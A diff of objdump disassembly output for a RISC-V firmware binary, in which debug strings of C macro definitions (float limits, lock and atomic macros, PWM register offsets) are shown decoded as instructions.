-    87fa:	5f003133          	0x5f003133
-    87fe:	465f 544c 3233      	0x3233544c465f
-    8804:	455f 5350 4c49      	0x4c495350455f
-    880a:	5f5f4e4f          	fnmadd.q	ft8,ft10,fs5,fa1,rmm
-    880e:	3120                	fld	fs0,96(a0)
-    8810:	312e                	fld	ft2,232(sp)
-    8812:	3239                	jal	8120 <__stack_size+0x7920>
-    8814:	3930                	fld	fa2,112(a0)
-    8816:	3832                	fld	fa6,296(sp)
-    8818:	3539                	jal	8626 <__stack_size+0x7e26>
-    881a:	3035                	jal	8046 <__stack_size+0x7846>
-    881c:	32313837          	lui	a6,0x32313
-    8820:	3035                	jal	804c <__stack_size+0x784c>
-    8822:	3030                	fld	fa2,96(s0)
-    8824:	3030                	fld	fa2,96(s0)
-    8826:	3030                	fld	fa2,96(s0)
-    8828:	3030                	fld	fa2,96(s0)
-    882a:	3030                	fld	fa2,96(s0)
-    882c:	3030                	fld	fa2,96(s0)
-    882e:	3030                	fld	fa2,96(s0)
-    8830:	3030                	fld	fa2,96(s0)
-    8832:	3030                	fld	fa2,96(s0)
-    8834:	2d65                	jal	8eec <__stack_size+0x86ec>
-    8836:	32334637          	lui	a2,0x32334
-    883a:	5000                	lw	s0,32(s0)
-    883c:	5049                	c.li	zero,-14
-    883e:	5f45                	li	t5,-15
-    8840:	5542                	lw	a0,48(sp)
-    8842:	2046                	fld	ft0,80(sp)
-    8844:	3135                	jal	8470 <__stack_size+0x7c70>
-    8846:	0032                	c.slli	zero,0xc
-    8848:	5f5f 5441 4d4f      	0x4d4f54415f5f
-    884e:	4349                	li	t1,18
-    8850:	435f 4e4f 5553      	0x55534e4f435f
-    8856:	454d                	li	a0,19
-    8858:	3120                	fld	fs0,96(a0)
-    885a:	5f00                	lw	s0,56(a4)
-    885c:	755f 756e 6573      	0x6573756e755f
-    8862:	2064                	fld	fs1,192(s0)
-    8864:	5f5f 7461 7274      	0x727474615f5f
-    886a:	6269                	lui	tp,0x1a
-    886c:	7475                	lui	s0,0xffffd
-    886e:	5f65                	li	t5,-7
-    8870:	285f 5f28 755f      	0x755f5f28285f
-    8876:	756e                	flw	fa0,248(sp)
-    8878:	5f646573          	csrrsi	a0,0x5f6,8
-    887c:	295f 0029 5f5f      	0x5f5f0029295f
-    8882:	4e49                	li	t3,18
-    8884:	5f54                	lw	a3,60(a4)
-    8886:	454c                	lw	a1,12(a0)
-    8888:	5341                	li	t1,-16
-    888a:	3154                	fld	fa3,160(a0)
-    888c:	5f36                	lw	t5,108(sp)
-    888e:	5954                	lw	a3,52(a0)
-    8890:	4550                	lw	a2,12(a0)
-    8892:	5f5f 7320 6f68      	0x6f6873205f5f
-    8898:	7472                	flw	fs0,60(sp)
-    889a:	6920                	flw	fs0,80(a0)
-    889c:	746e                	flw	fs0,248(sp)
-    889e:	5f00                	lw	s0,56(a4)
-    88a0:	555f 4e49 5f54      	0x5f544e49555f
-    88a6:	454c                	lw	a1,12(a0)
-    88a8:	5341                	li	t1,-16
-    88aa:	3654                	fld	fa3,168(a2)
-    88ac:	5f34                	lw	a3,120(a4)
-    88ae:	5954                	lw	a3,52(a0)
-    88b0:	4550                	lw	a2,12(a0)
-    88b2:	5f5f 6c20 6e6f      	0x6e6f6c205f5f
-    88b8:	6f6c2067          	0x6f6c2067
-    88bc:	676e                	flw	fa4,216(sp)
-    88be:	7520                	flw	fs0,104(a0)
-    88c0:	736e                	flw	ft6,248(sp)
-    88c2:	6769                	lui	a4,0x1a
-    88c4:	656e                	flw	fa0,216(sp)
-    88c6:	2064                	fld	fs1,192(s0)
-    88c8:	6e69                	lui	t3,0x1a
-    88ca:	0074                	addi	a3,sp,12
-    88cc:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
-    88d2:	78655f73          	csrrwi	t5,0x786,10
-    88d6:	73756c63          	bltu	a0,s7,900e <__stack_size+0x880e>
-    88da:	7669                	lui	a2,0xffffa
-    88dc:	2865                	jal	8994 <__stack_size+0x8194>
-    88de:	2e2e                	fld	ft8,200(sp)
-    88e0:	292e                	fld	fs2,200(sp)
-    88e2:	5f20                	lw	s0,120(a4)
-    88e4:	6c5f 636f 5f6b      	0x5f6b636f6c5f
-    88ea:	6e61                	lui	t3,0x18
-    88ec:	6f6e                	flw	ft10,216(sp)
-    88ee:	6174                	flw	fa3,68(a0)
-    88f0:	6574                	flw	fa3,76(a0)
-    88f2:	6528                	flw	fa0,72(a0)
-    88f4:	6378                	flw	fa4,68(a4)
-    88f6:	756c                	flw	fa1,108(a0)
-    88f8:	65766973          	csrrsi	s2,0x657,12
-    88fc:	6c5f 636f 5f6b      	0x5f6b636f6c5f
-    8902:	7566                	flw	fa0,120(sp)
-    8904:	636e                	flw	ft6,216(sp)
-    8906:	6974                	flw	fa3,84(a0)
-    8908:	5f286e6f          	jal	t3,8eefa <__stack_size+0x8e6fa>
-    890c:	565f 5f41 5241      	0x52415f41565f
-    8912:	5f5f5347          	fmsub.q	ft6,ft10,fs5,fa1,unknown
-    8916:	2929                	jal	8d30 <__stack_size+0x8530>
-    8918:	5f00                	lw	s0,56(a4)
-    891a:	535f4353          	0x535f4353
-    891e:	4d45                	li	s10,17
-    8920:	4e5f 4553 534d      	0x534d45534e5f
-    8926:	4d5f 5841 3120      	0x312058414d5f
-    892c:	0036                	c.slli	zero,0xd
-    892e:	4e49                	li	t3,18
-    8930:	3354                	fld	fa3,160(a4)
-    8932:	5f32                	lw	t5,44(sp)
-    8934:	414d                	li	sp,19
-    8936:	2058                	fld	fa4,128(s0)
-    8938:	5f5f 4e49 3354      	0x33544e495f5f
-    893e:	5f32                	lw	t5,44(sp)
-    8940:	414d                	li	sp,19
-    8942:	5f58                	lw	a4,60(a4)
-    8944:	005f 535f 5f43      	0x5f43535f005f
-    894a:	5254                	lw	a3,36(a2)
-    894c:	4341                	li	t1,16
-    894e:	5f45                	li	t5,-15
-    8950:	5f535953          	0x5f535953
-    8954:	414d                	li	sp,19
-    8956:	2058                	fld	fa4,128(s0)
-    8958:	3938                	fld	fa4,112(a0)
-    895a:	5f00                	lw	s0,56(a4)
-    895c:	4350                	lw	a2,4(a4)
-    895e:	535f 4e59 5f43      	0x5f434e59535f
-    8964:	4f49                	li	t5,18
-    8966:	3120                	fld	fs0,96(a0)
-    8968:	0031                	c.nop	12
-    896a:	5f5f 7362 6177      	0x617773625f5f
-    8970:	3670                	fld	fa2,232(a2)
-    8972:	2834                	fld	fa3,80(s0)
-    8974:	785f 2029 5f5f      	0x5f5f2029785f
-    897a:	7562                	flw	fa0,56(sp)
-    897c:	6c69                	lui	s8,0x1a
-    897e:	6974                	flw	fa3,84(a0)
-    8980:	5f6e                	lw	t5,248(sp)
-    8982:	7362                	flw	ft6,56(sp)
-    8984:	36706177          	0x36706177
-    8988:	2834                	fld	fa3,80(s0)
-    898a:	785f 0029 505f      	0x505f0029785f
-    8990:	45525f43          	0x45525f43
-    8994:	4e495f43          	fmadd.q	ft10,fs2,ft4,fs1,unknown
-    8998:	585f5243          	fmadd.s	ft4,ft10,ft5,fa1,unknown
-    899c:	4546                	lw	a0,80(sp)
-    899e:	5f52                	lw	t5,52(sp)
-    89a0:	455a4953          	0x455a4953
-    89a4:	3120                	fld	fs0,96(a0)
-    89a6:	0036                	c.slli	zero,0xd
-    89a8:	465f 444e 4c45      	0x4c45444e465f
-    89ae:	5941                	li	s2,-16
-    89b0:	5f20                	lw	s0,120(a4)
-    89b2:	4e46                	lw	t3,80(sp)
-    89b4:	4c424e4f          	0x4c424e4f
-    89b8:	004b434f          	fnmadd.s	ft6,fs6,ft4,ft0,rmm
-    89bc:	5f5f 4347 5f43      	0x5f4343475f5f
-    89c2:	5441                	li	s0,-16
-    89c4:	43494d4f          	fnmadd.d	fs10,fs2,fs4,fs0,rmm
-    89c8:	575f 4843 5241      	0x52414843575f
-    89ce:	545f 4c5f 434f      	0x434f4c5f545f
-    89d4:	52465f4b          	fnmsub.d	ft10,fa2,ft4,fa0,unknown
-    89d8:	4545                	li	a0,17
-    89da:	3220                	fld	fs0,96(a2)
-    89dc:	5f00                	lw	s0,56(a4)
-    89de:	745f 6d69 7265      	0x72656d69745f
-    89e4:	745f 645f 6665      	0x6665645f745f
-    89ea:	6e69                	lui	t3,0x1a
-    89ec:	6465                	lui	s0,0x19
-    89ee:	0020                	addi	s0,sp,8
-    89f0:	5f5f 4953 455a      	0x455a49535f5f
-    89f6:	505f464f          	fnmadd.s	fa2,ft10,ft5,fa0,rmm
-    89fa:	5254                	lw	a3,36(a2)
-    89fc:	4944                	lw	s1,20(a0)
-    89fe:	4646                	lw	a2,80(sp)
-    8a00:	545f 5f5f 3420      	0x34205f5f545f
-    8a06:	5000                	lw	s0,32(s0)
-    8a08:	525f4d57          	0x525f4d57
-    8a0c:	4745                	li	a4,17
-    8a0e:	6f28                	flw	fa0,88(a4)
-    8a10:	6666                	flw	fa2,88(sp)
-    8a12:	29746573          	csrrsi	a0,0x297,8
-    8a16:	5f20                	lw	s0,120(a4)
-    8a18:	4552                	lw	a0,20(sp)
-    8a1a:	28323347          	fmsub.s	ft6,ft4,ft3,ft5,rup
-    8a1e:	5750                	lw	a2,44(a4)
-    8a20:	5f4d                	li	t5,-13
-    8a22:	4142                	lw	sp,16(sp)
-    8a24:	202c4553          	0x202c4553
-    8a28:	7366666f          	jal	a2,6f15e <__stack_size+0x6e95e>
-    8a2c:	7465                	lui	s0,0xffff9
-    8a2e:	0029                	c.nop	10
-    8a30:	58495f53          	0x58495f53
-    8a34:	2048544f          	fnmadd.s	fs0,fa6,ft4,ft4,unknown
-    8a38:	3030                	fld	fa2,96(s0)
-    8a3a:	3030                	fld	fa2,96(s0)
-    8a3c:	3030                	fld	fa2,96(s0)
-    8a3e:	0031                	c.nop	12
-    8a40:	4544                	lw	s1,12(a0)
-    8a42:	4646                	lw	a2,80(sp)
-    8a44:	4c49                	li	s8,18
-    8a46:	4d45                	li	s10,17
-    8a48:	2045444f          	fnmadd.s	fs0,fa0,ft4,ft4,rmm
-    8a4c:	5328                	lw	a0,96(a4)
-    8a4e:	495f 5552 5253      	0x52535552495f
-    8a54:	7c20                	flw	fs0,120(s0)
-    8a56:	5320                	lw	s0,96(a4)
-    8a58:	495f 5557 5253      	0x52535557495f
-    8a5e:	7c20                	flw	fs0,120(s0)
-    8a60:	5320                	lw	s0,96(a4)
-    8a62:	495f 4752 5052      	0x50524752495f
-    8a68:	7c20                	flw	fs0,120(s0)
-    8a6a:	5320                	lw	s0,96(a4)
-    8a6c:	495f 4757 5052      	0x50524757495f
-    8a72:	7c20                	flw	fs0,120(s0)
-    8a74:	5320                	lw	s0,96(a4)
-    8a76:	495f 4f52 4854      	0x48544f52495f
-    8a7c:	7c20                	flw	fs0,120(s0)
-    8a7e:	5320                	lw	s0,96(a4)
-    8a80:	495f 4f57 4854      	0x48544f57495f
-    8a86:	0029                	c.nop	10
-    8a88:	5f5f 4c46 3354      	0x33544c465f5f
-    8a8e:	5832                	lw	a6,44(sp)
-    8a90:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
-    8a96:	3220                	fld	fs0,96(a2)
-    8a98:	322e                	fld	ft4,232(sp)
-    8a9a:	3532                	fld	fa0,296(sp)
-    8a9c:	3730                	fld	fa2,104(a4)
-    8a9e:	38353833          	0x38353833
-    8aa2:	3035                	jal	82ce <__stack_size+0x7ace>
-    8aa4:	31303237          	lui	tp,0x31303
-    8aa8:	30333833          	0x30333833
-    8aac:	3039                	jal	82ba <__stack_size+0x7aba>
-    8aae:	3332                	fld	ft6,296(sp)
-    8ab0:	3732                	fld	fa4,296(sp)
-    8ab2:	3731                	jal	89be <__stack_size+0x81be>
-    8ab4:	34323333          	0x34323333
-    8ab8:	3430                	fld	fa2,104(s0)
-    8aba:	3630                	fld	fa2,104(a2)
-    8abc:	2d65                	jal	9174 <__stack_size+0x8974>
-    8abe:	46383033          	0x46383033
-    8ac2:	00783233          	sltu	tp,a6,t2
-    8ac6:	555f 4e49 3354      	0x33544e49555f
-    8acc:	5f32                	lw	t5,44(sp)
-    8ace:	5f54                	lw	a3,60(a4)
-    8ad0:	4544                	lw	s1,12(a0)
-    8ad2:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
-    8ad6:	4445                	li	s0,17
-    8ad8:	0020                	addi	s0,sp,8
-    8ada:	665f 6f6c 6b63      	0x6b636f6c665f
-    8ae0:	6966                	flw	fs2,88(sp)
-    8ae2:	656c                	flw	fa1,76(a0)
-    8ae4:	6628                	flw	fa0,72(a2)
-    8ae6:	2970                	fld	fa2,208(a0)
-    8ae8:	2820                	fld	fs0,80(s0)
-    8aea:	2828                	fld	fa0,80(s0)
-    8aec:	7066                	flw	ft0,120(sp)
-    8aee:	2d29                	jal	9108 <__stack_size+0x8908>
-    8af0:	5f3e                	lw	t5,236(sp)
-    8af2:	6c66                	flw	fs8,88(sp)
-    8af4:	6761                	lui	a4,0x18
-    8af6:	20262073          	csrs	hedeleg,a2
-    8afa:	5f5f 5353 5254      	0x525453535f5f
-    8b00:	2029                	jal	8b0a <__stack_size+0x830a>
-    8b02:	2030203f 5f5f203a 	0x5f5f203a2030203f
-    8b0a:	6f6c                	flw	fa1,92(a4)
-    8b0c:	615f6b63          	bltu	t5,s5,9122 <__stack_size+0x8922>
-    8b10:	69757163          	bgeu	a0,s7,9192 <__stack_size+0x8992>
-    8b14:	6572                	flw	fa0,28(sp)
-    8b16:	725f 6365 7275      	0x72756365725f
-    8b1c:	65766973          	csrrsi	s2,0x657,12
-    8b20:	2828                	fld	fa0,80(s0)
-    8b22:	7066                	flw	ft0,120(sp)
-    8b24:	2d29                	jal	913e <__stack_size+0x893e>
-    8b26:	5f3e                	lw	t5,236(sp)
-    8b28:	6f6c                	flw	fa1,92(a4)
-    8b2a:	29296b63          	bltu	s2,s2,8dc0 <__stack_size+0x85c0>
-    8b2e:	5300                	lw	s0,32(a4)
-    8b30:	495f 4253 4b4c      	0x4b4c4253495f
-    8b36:	6d28                	flw	fa0,88(a0)
-    8b38:	2029                	jal	8b42 <__stack_size+0x8342>
-    8b3a:	2828                	fld	fa0,80(s0)
-    8b3c:	6d28                	flw	fa0,88(a0)
-    8b3e:	2629                	jal	8e48 <__stack_size+0x8648>
-    8b40:	495f 4d46 2954      	0x29544d46495f
-    8b46:	3d20                	fld	fs0,120(a0)
-    8b48:	203d                	jal	8b76 <__stack_size+0x8376>
-    8b4a:	495f 4246 4b4c      	0x4b4c4246495f
-    8b50:	0029                	c.nop	10
-    8b52:	5f5f 4c46 3354      	0x33544c465f5f
-    8b58:	5832                	lw	a6,44(sp)
-    8b5a:	485f 5341 515f      	0x515f5341485f
-    8b60:	4955                	li	s2,21
-    8b62:	5445                	li	s0,-15
-    8b64:	4e5f 4e41 5f5f      	0x5f5f4e414e5f
-    8b6a:	3120                	fld	fs0,96(a0)
-    8b6c:	4d00                	lw	s0,24(a0)
-    8b6e:	4f5a                	lw	t5,148(sp)
-    8b70:	454e                	lw	a0,208(sp)
-    8b72:	535f 4e45 2844      	0x28444e45535f
-    8b78:	6f7a                	flw	ft10,156(sp)
-    8b7a:	656e                	flw	fa0,216(sp)
-    8b7c:	6d2c                	flw	fa1,88(a0)
-    8b7e:	20296773          	csrrsi	a4,hedeleg,18
-    8b82:	7b28                	flw	fa0,112(a4)
-    8b84:	7220                	flw	fs0,96(a2)
-    8b86:	6765                	lui	a4,0x19
-    8b88:	7369                	lui	t1,0xffffa
-    8b8a:	6574                	flw	fa3,76(a0)
-    8b8c:	2072                	fld	ft0,280(sp)
-    8b8e:	6975                	lui	s2,0x1d
-    8b90:	746e                	flw	fs0,248(sp)
-    8b92:	745f3233          	0x745f3233
-    8b96:	6120                	flw	fs0,64(a0)
-    8b98:	2030                	fld	fa2,64(s0)
-    8b9a:	7361                	lui	t1,0xffff8
-    8b9c:	206d                	jal	8c46 <__stack_size+0x8446>
-    8b9e:	2228                	fld	fa0,64(a2)
-    8ba0:	3061                	jal	8428 <__stack_size+0x7c28>
-    8ba2:	2922                	fld	fs2,8(sp)
-    8ba4:	7361203b          	0x7361203b
-    8ba8:	206d                	jal	8c52 <__stack_size+0x8452>
-    8baa:	6f76                	flw	ft10,92(sp)
-    8bac:	616c                	flw	fa1,68(a0)
-    8bae:	6974                	flw	fa3,84(a0)
-    8bb0:	656c                	flw	fa1,76(a0)
-    8bb2:	2820                	fld	fs0,80(s0)
-    8bb4:	2220                	fld	fs0,64(a2)
-    8bb6:	766d                	lui	a2,0xffffb
-    8bb8:	6120                	flw	fs0,64(a0)
-    8bba:	2c31                	jal	8dd6 <__stack_size+0x85d6>
-    8bbc:	2520                	fld	fs0,72(a0)
-    8bbe:	3b32                	fld	fs6,296(sp)
-    8bc0:	2022                	fld	ft0,8(sp)
-    8bc2:	6c22                	flw	fs8,8(sp)
-    8bc4:	32612077          	0x32612077
-    8bc8:	202c                	fld	fa1,64(s0)
-    8bca:	2a30                	fld	fa2,80(a2)
-    8bcc:	2b34                	fld	fa3,80(a4)
-    8bce:	3125                	jal	87f6 <__stack_size+0x7ff6>
-    8bd0:	2220223b          	0x2220223b
-    8bd4:	776c                	flw	fa1,108(a4)
-    8bd6:	6120                	flw	fs0,64(a0)
-    8bd8:	31202c33          	0x31202c33
-    8bdc:	342a                	fld	fs0,168(sp)
-    8bde:	3b31252b          	0x3b31252b
-    8be2:	2022                	fld	ft0,8(sp)
-    8be4:	6c22                	flw	fs8,8(sp)
-    8be6:	34612077          	0x34612077
-    8bea:	202c                	fld	fa1,64(s0)
-    8bec:	2a32                	fld	fs4,264(sp)
-    8bee:	2b34                	fld	fa3,80(a4)
-    8bf0:	3125                	jal	8818 <__stack_size+0x8018>
-    8bf2:	2220223b          	0x2220223b
-    8bf6:	776c                	flw	fa1,108(a4)
-    8bf8:	6120                	flw	fs0,64(a0)
-    8bfa:	2c35                	jal	8e36 <__stack_size+0x8636>
-    8bfc:	3320                	fld	fs0,96(a4)
-    8bfe:	342a                	fld	fs0,168(sp)
-    8c00:	3b31252b          	0x3b31252b
-    8c04:	2022                	fld	ft0,8(sp)
-    8c06:	6c22                	flw	fs8,8(sp)
-    8c08:	2069                	jal	8c92 <__stack_size+0x8492>
-    8c0a:	3061                	jal	8492 <__stack_size+0x7c92>
-    8c0c:	202c                	fld	fa1,64(s0)
-    8c0e:	3b32                	fld	fs6,296(sp)
-    8c10:	2022                	fld	ft0,8(sp)
-    8c12:	7a6d                	lui	s4,0xffffb
-    8c14:	20656e6f          	jal	t3,5ee1a <__stack_size+0x5e61a>
-    8c18:	203a                	fld	ft0,392(sp)
-    8c1a:	3d22                	fld	fs10,40(sp)
-    8c1c:	2272                	fld	ft4,280(sp)
-    8c1e:	6128                	flw	fa0,64(a0)
-    8c20:	2930                	fld	fa2,80(a0)
-    8c22:	3a20                	fld	fs0,112(a2)
-    8c24:	2220                	fld	fs0,64(a2)
-    8c26:	226d                	jal	8dd0 <__stack_size+0x85d0>
-    8c28:	2a28                	fld	fa0,80(a2)
-    8c2a:	6328                	flw	fa0,64(a4)
-    8c2c:	74736e6f          	jal	t3,3fb72 <__stack_size+0x3f372>
-    8c30:	6320                	flw	fs0,64(a4)
-    8c32:	6168                	flw	fa0,68(a0)
-    8c34:	2072                	fld	ft0,280(sp)
-    8c36:	2a28                	fld	fa0,80(a2)
-    8c38:	5b29                	li	s6,-22
-    8c3a:	3631                	jal	8746 <__stack_size+0x7f46>
-    8c3c:	295d                	jal	90f2 <__stack_size+0x88f2>
-    8c3e:	6d20                	flw	fs0,88(a0)
-    8c40:	2c296773          	csrrsi	a4,0x2c2,18
-    8c44:	2220                	fld	fs0,64(a2)
-    8c46:	2272                	fld	ft4,280(sp)
-    8c48:	2828                	fld	fa0,80(s0)
-    8c4a:	6e69                	lui	t3,0x1a
-    8c4c:	2974                	fld	fa3,208(a0)
-    8c4e:	6f7a                	flw	ft10,156(sp)
-    8c50:	656e                	flw	fa0,216(sp)
-    8c52:	2029                	jal	8c5c <__stack_size+0x845c>
-    8c54:	203a                	fld	ft0,392(sp)
-    8c56:	6122                	flw	ft2,8(sp)
-    8c58:	2231                	jal	8d64 <__stack_size+0x8564>
-    8c5a:	222c                	fld	fa1,64(a2)
-    8c5c:	3261                	jal	85e4 <__stack_size+0x7de4>
-    8c5e:	2c22                	fld	fs8,8(sp)
-    8c60:	6122                	flw	ft2,8(sp)
-    8c62:	222c2233          	0x222c2233
-    8c66:	3461                	jal	86ee <__stack_size+0x7eee>
-    8c68:	2c22                	fld	fs8,8(sp)
-    8c6a:	6122                	flw	ft2,8(sp)
-    8c6c:	2235                	jal	8d98 <__stack_size+0x8598>
-    8c6e:	3b29                	jal	8988 <__stack_size+0x8188>
-    8c70:	6120                	flw	fs0,64(a0)
-    8c72:	3b30                	fld	fa2,112(a4)
-    8c74:	7d20                	flw	fs0,120(a0)
-    8c76:	0029                	c.nop	10
-    8c78:	535f 5f43 5f32      	0x5f325f43535f
-    8c7e:	4f46                	lw	t5,80(sp)
-    8c80:	5452                	lw	s0,52(sp)
-    8c82:	445f 5645 3120      	0x31205645445f
-    8c88:	3031                	jal	8494 <__stack_size+0x7c94>
-    8c8a:	4400                	lw	s0,8(s0)
-    8c8c:	414d                	li	sp,19
-    8c8e:	545f 5f52 4544      	0x45445f52545f
-    8c94:	4f5f5453          	0x4f5f5453
-    8c98:	4646                	lw	a2,80(sp)
-    8c9a:	3020                	fld	fs0,96(s0)
-    8c9c:	3478                	fld	fa4,232(s0)
-    8c9e:	5f5f0043          	fmadd.q	ft0,ft10,fs5,fa1,rne
-    8ca2:	4955                	li	s2,21
-    8ca4:	544e                	lw	s0,240(sp)
-    8ca6:	4c5f 4145 5453      	0x545341454c5f
-    8cac:	545f3233          	0x545f3233
-    8cb0:	5059                	c.li	zero,-10
-    8cb2:	5f45                	li	t5,-15
-    8cb4:	205f 6f6c 676e      	0x676e6f6c205f
-    8cba:	7520                	flw	fs0,104(a0)
-    8cbc:	736e                	flw	ft6,248(sp)
-    8cbe:	6769                	lui	a4,0x1a
-    8cc0:	656e                	flw	fa0,216(sp)
-    8cc2:	2064                	fld	fs1,192(s0)
-    8cc4:	6e69                	lui	t3,0x1a
-    8cc6:	0074                	addi	a3,sp,12
-    8cc8:	5f5f 4244 5f4c      	0x5f4c42445f5f
-    8cce:	494d                	li	s2,19
-    8cd0:	5f4e                	lw	t5,240(sp)
-    8cd2:	5845                	li	a6,-15
-    8cd4:	5f50                	lw	a2,60(a4)
-    8cd6:	205f 2d28 3031      	0x30312d28205f
-    8cdc:	3132                	fld	ft2,296(sp)
-    8cde:	0029                	c.nop	10
-    8ce0:	5f5f 4c46 3654      	0x36544c465f5f
-    8ce6:	5834                	lw	a3,112(s0)
-    8ce8:	4d5f 4e49 455f      	0x455f4e494d5f
-    8cee:	5058                	lw	a4,36(s0)
-    8cf0:	5f5f 2820 312d      	0x312d28205f5f
-    8cf6:	3336                	fld	ft6,360(sp)
-    8cf8:	3138                	fld	fa4,96(a0)
-    8cfa:	0029                	c.nop	10
-    8cfc:	5f5f 554e 4c4c      	0x4c4c554e5f5f
-    8d02:	4241                	li	tp,16
-    8d04:	4c49                	li	s8,18
-    8d06:	5449                	li	s0,-14
-    8d08:	5f59                	li	t5,-10
-    8d0a:	5250                	lw	a2,36(a2)
-    8d0c:	4741                	li	a4,16
-    8d0e:	414d                	li	sp,19
-    8d10:	505f 5355 2048      	0x20485355505f
-    8d16:	5f00                	lw	s0,56(a4)
-    8d18:	4552                	lw	a0,20(sp)
-    8d1a:	4e45                	li	t3,17
-    8d1c:	5f54                	lw	a3,60(a4)
-    8d1e:	424d                	li	tp,19
-    8d20:	4c52                	lw	s8,20(sp)
-    8d22:	4e45                	li	t3,17
-    8d24:	535f 4154 4554      	0x45544154535f
-    8d2a:	7028                	flw	fa0,96(s0)
-    8d2c:	7274                	flw	fa3,100(a2)
-    8d2e:	2029                	jal	8d38 <__stack_size+0x8538>
-    8d30:	2828                	fld	fa0,80(s0)
-    8d32:	7470                	flw	fa2,108(s0)
-    8d34:	2972                	fld	fs2,280(sp)
-    8d36:	3e2d                	jal	8870 <__stack_size+0x8070>
-    8d38:	6e5f 7765 5f2e      	0x5f2e77656e5f
-    8d3e:	6572                	flw	fa0,28(sp)
-    8d40:	6e65                	lui	t3,0x19
-    8d42:	2e74                	fld	fa3,216(a2)
-    8d44:	6d5f 7262 656c      	0x656c72626d5f
-    8d4a:	5f6e                	lw	t5,248(sp)
-    8d4c:	74617473          	csrrci	s0,0x746,2
-    8d50:	2965                	jal	9208 <__stack_size+0x8a08>
+    83f2:	434f4c43          	fmadd.d	fs8,ft10,fs4,fs0,rmm
+    83f6:	45525f4b          	0x45525f4b
+    83fa:	4c41                	li	s8,16
+    83fc:	4954                	lw	a3,20(a0)
+    83fe:	454d                	li	a0,19
+    8400:	2820                	fld	fs0,80(s0)
+    8402:	6328                	flw	fa0,64(a4)
+    8404:	6f6c                	flw	fa1,92(a4)
+    8406:	64696b63          	bltu	s2,t1,8a5c <__stack_size+0x825c>
+    840a:	745f 2029 2931      	0x29312029745f
+    8410:	5f00                	lw	s0,56(a4)
+    8412:	6c5f 636f 5f6b      	0x5f6b636f6c5f
+    8418:	6361                	lui	t1,0x18
+    841a:	7571                	lui	a0,0xffffc
+    841c:	7269                	lui	tp,0xffffa
+    841e:	5f65                	li	t5,-7
+    8420:	6572                	flw	fa0,28(sp)
+    8422:	73727563          	bgeu	tp,s7,8b4c <__stack_size+0x834c>
+    8426:	7669                	lui	a2,0xffffa
+    8428:	2865                	jal	84e0 <__stack_size+0x7ce0>
+    842a:	6f6c                	flw	fa1,92(a4)
+    842c:	20296b63          	bltu	s2,sp,8642 <__stack_size+0x7e42>
+    8430:	2828                	fld	fa0,80(s0)
+    8432:	6f76                	flw	ft10,92(sp)
+    8434:	6469                	lui	s0,0x1a
+    8436:	2029                	jal	8440 <__stack_size+0x7c40>
+    8438:	2930                	fld	fa2,80(a0)
+    843a:	5f00                	lw	s0,56(a4)
+    843c:	755f 635f 6168      	0x6168635f755f
+    8442:	5f72                	lw	t5,60(sp)
+    8444:	6564                	flw	fs1,76(a0)
+    8446:	6966                	flw	fs2,88(sp)
+    8448:	656e                	flw	fa0,216(sp)
+    844a:	2064                	fld	fs1,192(s0)
+    844c:	5000                	lw	s0,32(s0)
+    844e:	435f4d57          	0x435f4d57
+    8452:	4746                	lw	a4,80(sp)
+    8454:	5a5f 5245 434f      	0x434f52455a5f
+    845a:	504d                	c.li	zero,-13
+    845c:	3020                	fld	fs0,96(s0)
+    845e:	3078                	fld	fa4,224(s0)
+    8460:	3030                	fld	fa2,96(s0)
+    8462:	3030                	fld	fa2,96(s0)
+    8464:	3032                	fld	ft0,296(sp)
+    8466:	0030                	addi	a2,sp,8
+    8468:	505f 534f 5849      	0x5849534f505f
+    846e:	535f 554f 4352      	0x4352554f535f
+    8474:	2045                	jal	8514 <__stack_size+0x7d14>
+    8476:	0031                	c.nop	12
+    8478:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
+    847c:	425f 5449 5f00      	0x5f005449425f
+    8482:	495f 544e 3631      	0x3631544e495f
+    8488:	435f 6328 2029      	0x20296328435f
+    848e:	4e490063          	beq	s2,tp,896e <__stack_size+0x816e>
+    8492:	3154                	fld	fa3,160(a0)
+    8494:	5f36                	lw	t5,108(sp)
+    8496:	494d                	li	s2,19
+    8498:	004e                	c.slli	zero,0x13
+    849a:	4f5f 4646 545f      	0x545f46464f5f
+    84a0:	445f 4345 414c      	0x414c4345445f
+    84a6:	4552                	lw	a0,20(sp)
+    84a8:	2044                	fld	fs1,128(s0)
+    84aa:	5700                	lw	s0,40(a4)
+    84ac:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
+    84b0:	4d5f 4e49 5f20      	0x5f204e494d5f
+    84b6:	575f 4843 5241      	0x52414843575f
+    84bc:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
+    84c2:	5f00                	lw	s0,56(a4)
+    84c4:	615f 7474 6972      	0x69727474615f
+    84ca:	7562                	flw	fa0,56(sp)
+    84cc:	6574                	flw	fa3,76(a0)
+    84ce:	665f 726f 616d      	0x616d726f665f
+    84d4:	5f74                	lw	a3,124(a4)
+    84d6:	66727473          	csrrci	s0,0x667,4
+    84da:	6f6d                	lui	t5,0x1b
+    84dc:	5f6e                	lw	t5,248(sp)
+    84de:	285f 2c61 2962      	0x29622c61285f
+    84e4:	0020                	addi	s0,sp,8
+    84e6:	5f5f 4c46 3154      	0x31544c465f5f
+    84ec:	3832                	fld	fa6,296(sp)
+    84ee:	485f 5341 495f      	0x495f5341485f
+    84f4:	464e                	lw	a2,208(sp)
+    84f6:	4e49                	li	t3,18
+    84f8:	5449                	li	s0,-14
+    84fa:	5f59                	li	t5,-10
+    84fc:	205f 0031 5f5f      	0x5f5f0031205f
+    8502:	455a4953          	0x455a4953
+    8506:	535f464f          	fnmadd.d	fa2,ft10,fs5,fa0,rmm
+    850a:	4f48                	lw	a0,28(a4)
+    850c:	5452                	lw	s0,52(sp)
+    850e:	5f5f 3220 4c00      	0x4c0032205f5f
+    8514:	4445                	li	s0,17
+    8516:	525f 4445 3120      	0x31204445525f
+    851c:	5500                	lw	s0,40(a0)
+    851e:	4e49                	li	t3,18
+    8520:	5054                	lw	a3,36(s0)
+    8522:	5254                	lw	a3,36(a2)
+    8524:	4d5f 5841 5f20      	0x5f2058414d5f
+    852a:	555f 4e49 5054      	0x50544e49555f
+    8530:	5254                	lw	a3,36(a2)
+    8532:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    8538:	4900                	lw	s0,16(a0)
+    853a:	544e                	lw	s0,240(sp)
+    853c:	5f38                	lw	a4,120(a4)
+    853e:	414d                	li	sp,19
